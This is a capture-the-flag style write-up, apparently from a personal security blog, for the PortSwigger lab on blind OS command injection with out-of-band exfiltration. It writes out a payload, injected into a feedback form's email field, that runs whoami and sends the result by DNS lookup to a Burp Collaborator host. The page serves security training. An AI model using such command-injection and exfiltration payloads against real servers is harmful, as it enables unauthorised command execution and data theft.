Daemon Of Hacking
  • WELCOME!
    • 👋/home/usr/KruKnight
  • METHODOLOGIES & RESOURCES
    • Passwords & Attacks
    • Post Exploitation
      • 👀Situational Awareness
      • 🖥️Privilege Escalation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
  • Writeups
    • CyCtf 2024
      • Vending Machine
      • Aerospace
      • OhMyCell
    • Portswigger Labs
      • Authentication
        • Username enumeration via different responses
        • 2FA simple bypass
        • Password reset broken logic
        • Username enumeration via subtly different responses
        • Username enumeration via response timing
        • Broken Brute-Force Protection, IP Block
        • Username enumeration via account lock
        • 2FA broken logic
        • Brute-forcing a stay-logged-in cookie
        • Offline password cracking
        • Password reset poisoning via middleware
        • Password brute-force via password change
        • Broken brute-force protection, multiple credentials per request
      • Os Command Injection
        • OS command injection, simple case
        • Blind OS command injection with time delays
        • Blind OS command injection with output redirection
        • Blind OS command injection with out-of-band interaction
        • Blind OS command injection with out-of-band data exfiltration
      • Cross-Origin Resource Sharing (CORS)
        • CORS vulnerability with basic origin reflection
        • CORS vulnerability with trusted null origin
        • CORS vulnerability with trusted insecure protocols
      • Server-side template injection
        • Basic server-side template injection
        • Basic server-side template injection (code context)
      • Server-Side Request Forgery (SSRF)
        • Basic SSRF against the local server
        • Basic SSRF against another back-end
        • Blind SSRF with out-of-band detection
        • SSRF with blacklist-based input filter
        • SSRF with filter bypass via open redirection vulnerability
      • Path Traversal
  • 🟩HTB Writeups
    • Heal
Powered by GitBook
On this page
  • Lab Description
  • Walkthrough
  • Step 1: Understanding the Lab
  • Step 2: Understanding the Feedback Functionality
  • Step 3: Intercepting the Request
  • Step 4: Verifying the Exploit

Was this helpful?

  1. Writeups
  2. Portswigger Labs
  3. Os Command Injection

Blind OS command injection with out-of-band data exfiltration

PreviousBlind OS command injection with out-of-band interactionNextCross-Origin Resource Sharing (CORS)

Last updated 5 months ago

Was this helpful?

Lab Description

Walkthrough

Step 1: Understanding the Lab

This lab focuses on blind OS command injection, where command outputs are exfiltrated via DNS queries to an external domain. The task is to execute the whoami command and exfiltrate the result using Burp Collaborator.

Step 2: Understanding the Feedback Functionality

The Submit Feedback page contains four input fields:

  • Name

  • Email

  • Subject

  • Message

Our goal is to test whether these fields are vulnerable to command injection by leveraging out-of-band (OOB) interactions

Step 3: Intercepting the Request

  1. Submit the feedback form with dummy data (e.g., test in all fields).

  2. Intercept the request in Burp Suite. The captured HTTP request contains:

    • The form inputs (e.g., name=test, email=test@test.net).

    • Other metadata such as CSRF tokens and cookies.

Objective: Modify one of these parameters to inject a payload that executes the whoami command and exfiltrates its output via a DNS query to Burp Collaborator. This will confirm both command injection and successful data exfiltration.

Step 4: Crafting the Payload

Modify one of the input fields (e.g., email) to inject the following payload:

||nslookup+$(whoami).BURP-COLLABORATOR-SUBDOMAIN||

Payload Explanation:

  • ||: Delimiters to separate commands.

  • nslookup: Executes a DNS lookup.

  • $(whoami): Executes the whoami command and appends the output to the DNS query.

  • BURP-COLLABORATOR-SUBDOMAIN: Your unique Collaborator server address.

Step 4: Verifying the Exploit

  • Look for DNS queries logged by Burp Collaborator.

  • The queried domain will contain the output of the whoami command, such as peter-Nrsm8s.BURP-COLLABORATOR-SUBDOMAIN.

This confirms that:

  1. The server executed the injected command.

  2. The command output (peter-Nrsm8s) was exfiltrated successfully.

\